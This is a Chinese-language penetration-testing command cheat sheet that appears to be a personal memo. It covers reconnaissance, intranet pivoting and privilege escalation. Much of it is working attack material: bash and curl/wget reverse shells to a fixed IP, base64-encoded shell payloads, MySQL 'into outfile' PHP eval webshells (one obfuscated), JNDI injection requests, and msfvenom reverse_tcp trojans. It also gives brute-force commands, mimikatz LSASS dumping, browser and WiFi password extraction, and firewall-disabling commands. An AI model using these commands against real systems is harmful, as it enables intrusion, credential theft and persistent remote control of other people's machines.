常用命令速查

常用命令速查(非原创,仅做备忘录)

建议配合CTRL+F进行查询

目录

反弹Shell

常用反弹shell方式如下(bash/curl/http),其他反弹shell方式参考:Click Here

bash

bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

curl

攻击方:

cat bash.html
/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

被控端:

curl 192.168.35.152/bash.html|bash

http

攻击方:

# 编写shell脚本并启动http服务器
echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.sh
python2环境下:python -m SimpleHTTPServer 80
python3环境下:python -m http.server 80

被控端:

# 上传shell.sh文件
wget 192.168.35.152/shell.sh
# 执行shell.sh文件
bash shell.sh

java

java.lang.Runtime.exec() Payload:https://www.bugku.net/runtime-exec-payloads/

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'

URLencode bypass:

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

ssh无记录shell

 ssh -T root@1.1.1.1 /usr/bin/bash -i

python交互shell

python2 -c 'import pty;pty.spawn("/bin/sh")'
python3 -c "import pty;pty.spawn('/bin/bash')"

图片马制作

copy 1.jpg/b+1.php/a 2.jpg

按首字母排序

AlliN

# 按域名爬取
python AlliN.py --host $host -m subscan --project $project --timeout 6

# 按文件爬取
python AlliN.py -f domain.txt

Arjun

# Scan a single URL
arjun -u https://api.example.com/endpoint

# Specify HTTP method
arjun -u https://api.example.com/endpoint -m POST

# Import targets
arjun -i targets.txt

# Export result
arjun -u https://api.example.com/endpoint -oJ result.json
-----------------
-oJ result.json
-oT result.txt
-oB 127.0.0.1:8080

dirsearch

# 选项
-u 目标
-e 文件扩展名
-x 排除状态码结果
-w 指定字段
-r 递归扫描
-R 设置递归级别
-t 设置线程数(50-100)
-c cookie
# 默认字典
python3 dirsearch.py -u https://target
# 自定义字典
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
# 配置代理
python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080

python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://1.1.1.1:8080

dirmap

# 单目标
python dirmap.py -i https://target.com -lcf
python dirmap.py -i 192.168.1.1 -lcf

# 子网
python dirmap.py -i 192.168.1.0/24 -lcf

# 网络范围
python dirmap.py -i 192.168.1.1-192.168.1.100 -lcf

# 文件读取
python dirmap.py -iF targets.txt -lcf

EHole

# 系统指纹探测
# 本地识别
EHole -l url.txt   //URL地址需带上协议,每行一个

# FOFA识别
EHole -f 192.168.1.1/24  //支持单IP或IP段

# 结果输出
EHole -l url.txt -json export.json  //结果输出至export.json文件

ENScan_GO

# 企业信息收集
ENScanPublic_amd64_linux -n 小米

# 备案信息获取
ENScanPublic_amd64_linux -n 小米  -field website

find

# 查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
# find结合set权限位提权
find /usr/bin/vim -exec "whoami" \;
# 全盘查找含有 flag 的文件
grep flag -r /
# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip
# 查找包含关键字的文件
find /etc -type f | xargs -I {} grep -l server {}

Linux找目录

# 写文件(www同目录)
find /root -name www|while read file;do sh -c "echo $file">$(dirname $file)/dir.txt;done 
# 写文件(www目录下)
find /root -name www|while read file;do sh -c "echo $file">$file/dir.txt;done 
# 删文件(www同目录)
find /root -name www|while read file;do sh -c "rm $(dirname $file)/dir.txt";done
# 删文件(www目录下)
find /root -name www|while read file;do sh -c "rm $file/dir.txt";done

Windows找目录

# 写文件(www同目录)
for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (echo %i > %i\..\dir.txt)
# 写文件(www目录下)
for /f %i in ('dir /s /b C:\Users\whoami\www') do (echo %i > %i\dir.txt)
# 删文件(www同目录)
for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (del %i\..\dir.txt)
# 删文件(www目录下)
for /f %i in ('dir /s /b C:\Users\whoami\www') do (del %i\dir.txt)

fscan

fscan -hf hosts.txt --nopoc -t 100
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 -p 8000-9000 (指定端口扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)

grep

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r / --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" fold/
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt

hping3

重要端口

21,22,23,53,80,111,389,443,445,512,873,1433,1521,2049,2181,2375,3306,3389,4848,5432,5601,5672,5900,5984,6379,7001,8000-9000,9060,9092,9200,9300,10000,10051,11211.20880,27017,28017,50030,50070
8080,8081,8089,8090,8095,8161,8888,8983,9000
hping3 -S 1.1.1.1 --scan 1-65535

hydra

# 选项
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口 
-e ns 空密码试探
-M 指定目标列表文件,一行一条
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
hydra -L /root/user.txt -P pass.txt 1.1.1.1 mysql
hydra -L /root/user.txt -P pass.txt 1.1.1.1 ssh -s 22 -t 4
hydra -L /root/user.txt -P pass.txt 1.1.1.1 rdp -V
hydra -L /root/user.txt -P pass.txt 1.1.1.1 smb -vV
hydra -L /root/user.txt -P pass.txt ftp://1.1.1.1
# 破解SSH
hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns -M IP列表文件 ssh

# 破解RDP
hydra -l 用户名 -P 密码字典 -t 线程 -vV -M IP列表文件 rdp

# 破解FTP
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV IP地址ftp

JNDI

# https://github.com/welk1n/JNDI-Injection-Exploit
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
# https://github.com/WhiteHSBG/JNDIExploit
GET /solr/admin/cores?action=${jndi:ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3} HTTP/1.1  
-------------
/ateam  pass1024
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ls" -A "127.0.0.1"

# java.lang.Runtime.exec() Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "127.0.0.1"

ksubdomain

# 使用内置字典爆破
ksubdomain -d seebug.org

# 使用字典爆破域名
ksubdomain -d seebug.org -f subdomains.dict

# 字典里都是域名,可使用验证模式
ksubdomain -f dns.txt -verify

mysql

不登录直接执行sql语句

mysql -uroot -ppassword test -e "select now()" -N > test.txt
mysql -uroot -e "show databases;" > test.txt

getshell

show variables like '%secure%'    
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';  
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';  
set global general_log=on;  
set global general_log_file='/var/www/1.php';  
select '<?php eval($_POST[s6]) ?>';
select '<?php file_put_contents("index.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/www/index.php';

medusa

# 语法规则
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] -M module

# 选项
-h 目标名或IP  -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
# MySQL破解
medusa -h ip -u sa -P pass.txt -t 5 -f -M mssql

# SSH破解
medusa -H host.txt -U user.txt -p password -M ssh

nmap

  • 内网尽量不要使用nmap,用hping3代替
# 选项
-sn 只做 PING 扫描,不做端口扫描
-sV 探测开放的端口的系统/服务信息
-sP PING 扫描(打印出对 PING 扫描做出响应的主机,不进行进一步测试,无法用于端口扫描)
-sT TCP Connect 扫描
-sS TCP SYN 扫描
-sU UDP 扫描

--script=<Lua scripts> 指定脚本名称
nmap -sn 1.1.1.0/24
nmap -sV 1.1.1.1 -p 8080
nmap -p445 1.1.1.1 --script smb-vuln-ms17-010
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 -iL ip.txt -oX output.xml

OneForAll

python oneforall.py --target example.com run
python oneforall.py --targets ./example.txt run

sqlmap

# 选项
--file-read=RFILE   从后端的数据库管理系统文件系统读取文件
--dump            	转储数据库表项
python sqlmap.py -u "https://www.xxx.com/post.php?id=1" --proxy "http://127.0.0.1:1080"
python sqlmap.py  -u "http://www.xxx.com" –cookie "id=11" --level 2
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3 
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql  --dbs
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql  -D test --tables
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql  -D test -T admin –-columns
python sqlmap.py -u "http://www.xxx.com/post.php?id=1"  --dbms mysql -D test -T admin -C "username,password" --dump
python sqlmap.py -r "c:\url.txt" -p id –dbms mysql –file-read="C:/example.exe"

TideFinger

python TideFinger.py -u http://192.168.0.1:8080/

Xray

# 网络扫描
.\xray_windows_386.exe webscan --listen 127.0.0.1:7777 --html-output xray.html

# 服务扫描
.\xray_windows_386.exe servicescan --target 1.1.1.1:8080

# 指定插件
xray webscan --plugins cmd-injection,sqldet --url http://example.com
xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777

内网信息收集

重要端口及服务

port service description
21 FTP FTP控制端口,检查匿名登录、弱口令
22 SSH SSH远程登录协议,检查弱口令
23 Telnet Telnet终端仿真协议
53 DNS服务
80 Web 检查常见Web漏洞及管理后台
111 NFS 网络文件系统
389 LDAP 轻型目录访问协议,检查是否存在匿名访问
443 OpenSSL 检查心脏滴血及Web漏洞
445 SMB 检查是否存在MS17-010、MS08-067漏洞
512 Rexec 检查远程shell命令及暴力破解
873 Rsync 检查匿名登录、弱口令
1433 SQL Server 数据库服务
1521 Oracle 数据库服务
2049 NFS NFS未授权访问
2181 Zookeeper 分布式协调系统
2375 Docker Remote API未授权访问
3306 MySQL 数据库服务
3389 RDP 远程桌面
4848 GlassFish 未授权访问
5432 PostgreSQL 数据库服务
5601 Kibana 开源分析及可视化平台
5672 RabbitMQ 开源消息队列服务软件
5900 VNC 远程桌面控制软件,检查弱口令
5984 CouchDB 数据库服务
6379 Redis 数据库服务
7001 Weblogic Weblogic Console默认端口
8000-9090 Web 常见Web端口,运维一般将管理后台开在这些非80端口上
8080 Jenkins
8080 Kubernetes Api Server
8081 Apache-Flink
8089 Druid
8090 Confluence
8095 Atlassian Crowd
8161 Active MQ
8888 Jupyter Notebook
8983 Solr
9000 Fast-CGI 对外访问可直接Get shell
9060 Websephere 管理端口
9092 Kafka 开源流处理平台
9200 Elasticsearch(http) 全文搜索引擎
9300 Elasticsearch(tcp) 全文搜索引擎
10000 Virualmin/Webmin 服务器虚拟主机管理系统
10051 Zabbix 监控系统
11211 Memcache 分布式高速缓存系统,检查未授权访问
20880 Dubbo 阿里巴巴开源分布式服务框架
27017 MongoDB 数据库服务
28017 MongoDB 数据库服务(统计页面)
50030 Hadoop Hive
50070 Hadoop

Windows信息收集

查找文件 find/findstr

# 全盘查找文件,一定要加一个星号
for /r c:\ %i in (password.txt*) do @echo %i
for /r c:\ %i in (*.ini) do @echo %i

# 查找 C 盘中包含 password 字样的文件,一定要双引号
findstr /s /n "password" c:\*

# 查找 pwd.txt 中是否包含 password 字样,一定要双引号
find /N /I "password" pwd.txt

设置活动代码页编号 chcp

chcp 65001

查看系统信息 systeminfo

# 查看全部信息
systeminfo

# 查看英文版操作系统和版本信息
systeminfo | findstr /B /C:"OS name" /C:"OS Version"

# 查看中文版操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

# 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%

查看环境变量 set

set

查看网络配置信息 ipconfig

  • 域内的DNS服务器即域控。
ipconfig /all

查看当前用户信息 whoami

whoami /all

查看路由表 route

route print

查看arp缓存表 arp

arp -a

查看用户信息 net user/localgroup

  • 通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式。
# 查看指定用户信息
net user

# 查看本地组信息
net localgroup

# 查看本地管理员用户
net localgroup administrators

# 查看当前在线用户
query user || qwinsta

查看主机开启时间 net statistics

net statistics workstation

查看安装软件及版本信息 wmic product

wmic product get name,version

利用PowerShell收集软件版本信息

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

查看本机服务信息 wmic service

wmic service list brief

查看补丁信息 wmic qfe

# 查看补丁信息
wmic qfe list

# 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn
metasploit enum_patches
meterpreter > run post/windows/gather/enum_patches
windows exploit suggester
$ activate py27
$ python windows-exploit-suggester.py --update
$ pip install xlrd==1.2.0 -i https://pypi.tuna.tsinghua.edu.cn/simple
$ python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo systeminfo.txt

查看共享列表 wmic share

wmic share get name,path,status

查看进程列表 tasklist

# 查看进程列表
tasklist

# 查看当前进程列表所对应的用户身份
tasklist /v

# 查看是否有杀软
tasklist /svc

查看计划任务 schtasks

通过查看本机计划任务就能知道当前机器上某个时间会运行哪些软件了,就可以利用这一点来做定时任务劫持。

schtasks /query /fo LIST /v

查看端口信息 netstat

netstat -ano

查看防火墙配置 netsh

# 关闭防火墙
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统之后版本)

# 查看防火墙配置
netsh firewall show config

# 修改防火墙配置(Windows Server 2003 系统及之前版本)
# 允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

# 修改防火墙配置(Windows Server 2003 之后系统版本)
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
# 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查看wifi信息

for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

查看网络代理信息

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查看PPTP配置信息

Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令。

查看RDP远程桌面信息

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"

查看数据库密码

cd /web
findstr /s /m "password" *.*

查看服务信息 sc query

sc query

导出注册表信息 reg

reg export HKLM hklm.reg
reg export HKCU hkcu.reg

导出日志信息

  • 导出到本地使用LogParser查看:
copy C:\Windows\System32\winevt\Logs\System.evtx
copy C:\Windows\System32\winevt\Logs\security.evtx
copy C:\Windows\System32\winevt\Logs\application.evtx

查看hosts文件

C:\Windows\System32\drivers\etc\hosts

查看中间件信息

# 列出网站列表
%windir%\system32\inetsrv\AppCmd.exe list site

# 列出网站物理路径
%systemroot%\system32\inetsrv\appcmd.exe list vdir

查看组策略 gpresult

# 生成组策略报表
gpresult /h <filename> htm

查看启动项

# 使用注册表查询
reg query HKLM\Software\Microsoft\Windows\CurrentVertion\Run

抓取密码 mimikatz

procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

浏览器密码

Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下:

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

可以使用USBStealter导出浏览器历史记录以及密码。或者使用https://github.com/AlessandroZ/LaZagne:

LaZagne.exe browsers-chrome

此工具也支持firefox以及系统中其他密码的导出。

查看回收站

cd C:\$Recycle.Bin\,使用dir /A查看隐藏文件
S-1 xxx 分别对应不同用户的回收站
procdump dump csrss.exe进程

查看域信息 nltest/net

# 查看域控
nltest /dsgetdc:域名
nltest /dclist:domain-a

# 查看域之间的信任关系
nltest /domain_trusts

# 查看域用户
net user /domain

# 查看域用户组
net group /domain

# 查看域管理组成员
net group "domain admins" /domain

# 查看管理员登陆时间、密码过期时间,是否有登陆脚本、组分配等信息
net user domain-admin /domain

# 查看域时间及域服务器名字,/domain只能是在域机器上执行 workgroup工作组不能执行
net time /domain
-------------------
此命令有三种情况:
1). 存在域,当前不是域用户
显示: 发生系统错误5. 拒绝访问

2). 存在域,当前用户是域用户
显示: 域,和当前被害人机器上的时间

3). 不存在域
显示: 找不到域 workgroup的域控制器,请键入net help....

Linux信息收集

操作系统基本信息

uname -a			# 打印所有可用信息
uname -r			# 内核版本信息
uname -n			# 系统主机名字
uname -m			# Linux内核架构
hostname			# 主机名
cat /proc/version	# 内核信息
cat /etc/*-release	# 发布信息
cat /etc/issue		# 发布信息
cat /proc/cpuinfo	# cpu信息
df -a				# 文件信息

系统环境信息

env					# 输出系统环境信息
set					# 打印系统环境信息
echo $PATH			# 输出环境变量中的路径信息
history				# 打印历史命令
pwd					# 当前路径
cat /etc/profile	# 显示默认系统环境变量
cat /etc/shells     # 显示可用的shell

系统服务信息

ps -aux				# 查看进程信息
top					# 当前进程
netstat -anptu		# 查看当前交互端口

系统软件信息

dpkg -l				# 查看已经安装的软件列表(debian/ubuntu)
rpm -qa				# 查看已经安装的软件列表(redhat/centos)

通常程序都是通过-v或-V参数来获取版本信息,例如:

sudo -V

程序的一些配置文件路径,通常为.conf.ini或其他后缀结尾:

/etc/apache2/apache2.conf			# apache默认配置文件	
/usr/local/nginx/conf/nginx.conf	# nginx默认配置文件
/usr/local/app/php5/lib/php.ini		# php默认配置文件
/etc/my.cnf							# mysql配置文件
/var/log/							# log目录下记录各种软件执行的日志

系统任务和作业

crontab				# 计划任务管理
/etc/crontab		# 计划任务配置文件(可能记录了用户自行添加的任务)
jobs -l				# 列出后台作业
ls /etc/cron*		# 列出计划任务

crontab -l -u用户名,不加-u默认列出当前用户的计划任务,加-u列出指定用户的计划任务(需要root权限)

用户信息和组信息

cat /etc/passwd		# 查看系统所有用户
grep -v -E "^#" /etc/passwd | awk -F: '$3==0{print $1}'    # 查看超级用户
cat /etc/group		# 查看系统所有组
cat /etc/shadow		# 查看系统所有用户的hash(需要root权限)
users				# 查看当前登陆的用户
who -a				# 查看当前登陆的用户
w					# 查看当前登陆的用户有那些人,以及它们执行的程序
last				# 显示登陆用户的信息
lastlog				# 显示系统中所有用户最近一次登陆的信息
lastlog -u %username%        # 有关指定用户上次登录的信息
lastlog | grep -v "Never"    # 以前登录用户的信息

用户和权限信息

whoami				# 查看当前用户
id					# 列出当前用户详细信息
cat /etc/sudoers	# 查看可以提升到root权限的用户
sudo -l				# 列出当前用户可执行和不可执行的命令

系统网络和路由信息

ifconfig -a						# 列出网络接口信息
cat /etc/network/interfaces		# 列出网络接口信息
arp -a							# 列出系统arp表
route							# 打印路由信息
cat /etc/resolv.conf			# 查看dns配置信息
netstat -an						# 打印本地开放信息
iptables -L						# 列出iptables配置规则
cat /etc/services				# 查看端口服务应黑
cat /etc/hosts					# hosts文件信息

获取其他信息

# 查找拥有SUID的文件
find / -perm -4000 -type f

# 查找root权限的SUID文件
find / -uid 0 -perm -40^0 -type f

# 查找可写目录
find / -perm -2 -type d

# 查看当前用户的历史记录
cat ~/.bash_history

# 查看用户ssh登陆信息
ls ~/.ssh/

# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip

# 查找filename.ext文件
find / -name filename.ext

# 全盘查找含有 flag 的文件
grep flag -r /

域内信息收集

判断是否存在域

ipconfig
# 查看网关IP地址、DNS IP地址、域名、本机是否和DNS服务器处于同一网段
ipconfig /all

# 解析域名IP地址,查看是否与DNS服务器为同一IP
nslookup test.com
查看系统详细信息 systeminfo
systeminfo | findstr 域
查看当前登录域与域用户 netconfig
net config workstation | findstr 域
判断主域 net time
net time /domain

收集域内基础信息

查看域 net view
net view /domain
查看域内计算机 net view
net view /domian:domain_name
查看域内用户组列表 net group
net group /domain
查看域管理员列表 net group
net group "domain admins" /domain
查看企业管理员列表 net group
net group "enterprise admins" /domain

查看域内置administrator组用户

net localgroup administrators /domain
查看域密码策略信息 net accounts

密码长短、错误锁定等信息。

net accounts /domain
查看域信任信息 nltest
nltest /domain_trusts

收集域用户和管理员信息

查询域用户列表 net user
net user /domain
查询域用户详细信息 wmic useraccount
wmic useraccount get /all
net user someuser /domain
查询存在的用户
dsquery user

收集域控制器信息

查看域控主机名
nltest /DCLIST:npc
nslookup -type=SRV _ladp._tcp
netdom query pdc
查看域控制器列表 net group
net group "domain controllers" /domain

查找域管理员进程

获取域管理员列表
net group "domain admins" /domain
列出本机的所有进程及进程用户
tasklist /v

定位域管理员

psloggedon查询

直接运行该程序即可:

> Psloggedon.exe
netview查询
netview.exe -d

netview参数:

-f filename.txt:指定要提取主机列表的文件
-e filename.txt:指定要排除的主机名的文件
-o filename.txt:将所有输出重定向到指定的文件
-d domain:指定要提取主机列表的域
-g group:指定要搜索的组名
-c:对已经找到的共享目录/文件的访问权限进行检查

内网穿透代理

Neo-reGeorg

  1. 攻击机生成tunnel.(aspx|ashx|jsp|jspx|php) 并上传Web Server 1.1.1.1
python neoreg.py generate -k password
  1. 攻击机通过neoreg.py连接Web Server
python neoreg.py -k password -u http://1.1.1.1/tunnel.jsp
  1. 配置本地代理访问内网服务
SOCKS5	127.0.0.1	1080

ssh

将对A:X的访问转变成对C:Z的访问

ssh -L 主机A端口X:主机C:主机C端口Z -N -f username@hostname

# 例如
ssh -L 27689:192.168.20.100:27689 -N -f root@172.16.0.10

nps

  1. 攻击机启动服务,新增client,新增socks5
sudo -s
./nps install
./nps
  1. 上传nps client,根据给出的命令连接nps server
# Windows客户端
.\npc.exe -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp

# Linux客户端
.\npc -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp

frp

  1. 根据配置文件frps.ini运行服务端
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = <your-password-here>
./frps -c frps.ini  
  1. 根据配置文件frpc.ini运行客户端
[common]
server_addr = <your-vps-ip-here>
server_port = 7000

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 9001
./frpc -c frpc.ini  
  1. msf生成木马/behinder3生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-vps-ip-here> LPORT=9001 -f exe > shell.exe
  1. msf监听反弹shell
msf > use exploit/multi/handler

# 监听windows shell
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

# 监听behinder3 shell
msf exploit(multi/handler) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 127.0.0.1

msf exploit(multi/handler) > set LPORT 4444

msf exploit(multi/handler) > run

内网权限提升

Windows系统提权

Windows-Exploit-Suggester进行缺失补丁信息收集:

python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo win7_systeminfo.txt

通过补丁信息判断当前系统是否可以通过以下内核漏洞进行提权:

  • CVE-2019-0803
  • CVE-2018-8120
  • CVE-2018-8440

Linux系统提权

查找系统中存在suid的可执行文件:

find / -perm -u=s -type f 2>/dev/null

通过存在suid的命令在root权限下执行其他命令:

# 写入webshell
find /var/www/html -exec touch update.php ;
find /var/www/html -exec echo ‘<?php @eval($_POST['shell']);?>’ > update.php ;
# 查找/etc/目录下包含password的文件
find /var/www/html -exec find / -type f | xargs -I {} grep -l password {} ;

内网渗透工具

CobaltStrike

团队服务器启动CS服务,注意修改teamserver端口号,默认为50050:

./teamserver 1.1.1.1 password

beacon命令:

argue                     进程参数欺骗
blockdlls                 阻止子进程加载非Microsoft DLL
browserpivot              注入受害者浏览器进程
bypassuac                 绕过UAC提升权限
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   Connect to a Beacon peer over TCP
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程桌面(VNC)
dllinject                 反射DLL注入进程dll
load                   	  使用LoadLibrary将DLL加载到进程中
download                  下载文件
downloads                 列出正在进行的文件下载
drives                    列出目标盘符
elevate                   使用exp
execute                   在目标上执行程序(无输出)
execute-assembly          在目标上内存中执行本地.NET程序
exit                      终止beacon会话
getprivs                  Enable system privileges on current token
getsystem                 尝试获取SYSTEM权限
getuid                    获取用户ID
hashdump                  转储密码哈希值
help                      帮助
inject                    在注入进程生成会话
jobkill                   结束一个后台任务
jobs                      列出后台任务
kerberos_ccache_use       从cache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
keylogger                 键盘记录
kill                      结束进程
link                      Connect to a Beacon peer over a named pipe
logonpasswords            使用mimikatz转储凭据和哈希值
ls                        列出文件
make_token                创建令牌以传递凭据
mimikatz                  运行mimikatz
mkdir                     创建一个目录
mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http                 使用HTTP作为通信通道
mv                        移动文件
net                       net命令
note                      备注       
portscan                  进行端口扫描
powerpick                 通过Unmanaged PowerShell执行命令
powershell                通过powershell.exe执行命令
powershell-import         导入powershell脚本
ppid                      Set parent PID for spawned post-ex jobs
ps                        显示进程列表
psexec                    Use a service to spawn a session on a host
psexec_psh                Use PowerShell to spawn a session on a host
psinject                  在特定进程中执行PowerShell命令
pth                       使用Mimikatz进行传递哈希
pwd                       当前目录位置
reg                       Query the registry
rev2self                  恢复原始令牌
rm                        删除文件或文件夹
rportfwd                  端口转发
run                       在目标上执行程序(返回输出)
runas                     以其他用户权限执行程序
runasadmin                在高权限下执行程序
runu                      Execute a program under another PID
screenshot                屏幕截图
setenv                    设置环境变量
shell                     执行cmd命令
shinject                  将shellcode注入进程
shspawn                   启动一个进程并将shellcode注入其中
sleep                     设置睡眠延迟时间
socks                     启动SOCKS4代理
socks stop                停止SOCKS4
spawn                     Spawn a session 
spawnas                   Spawn a session as another user
spawnto                   Set executable to spawn processes into
spawnu                    Spawn a session under another PID
ssh                       使用ssh连接远程主机
ssh-key                   使用密钥连接远程主机
steal_token               从进程中窃取令牌
timestamp                 将一个文件的时间戳应用到另一个文件
unlink                    Disconnect from parent Beacon
upload                    上传文件
wdigest                   使用mimikatz转储明文凭据
winrm                     使用WinRM横向渗透
wmi                       使用WMI横向渗透

Metasploit

msfconsole常用命令:

reload_all						#从目录重载所有模块
back							#后退命令,移出当前上下文,用于模块切换
info							#目标和模块详细信息
check							#检查目标是否受某个漏洞影响
background  					#切到后台
sessions						#会话管理
sessions -l						#列出所有会话
sessions -K						#终止所有会话
sessions -i id					#进入某个会话
sessions -v						#以详细模式列出会话
sessions -u						#在许多平台上将shell升级到meterpreter会话
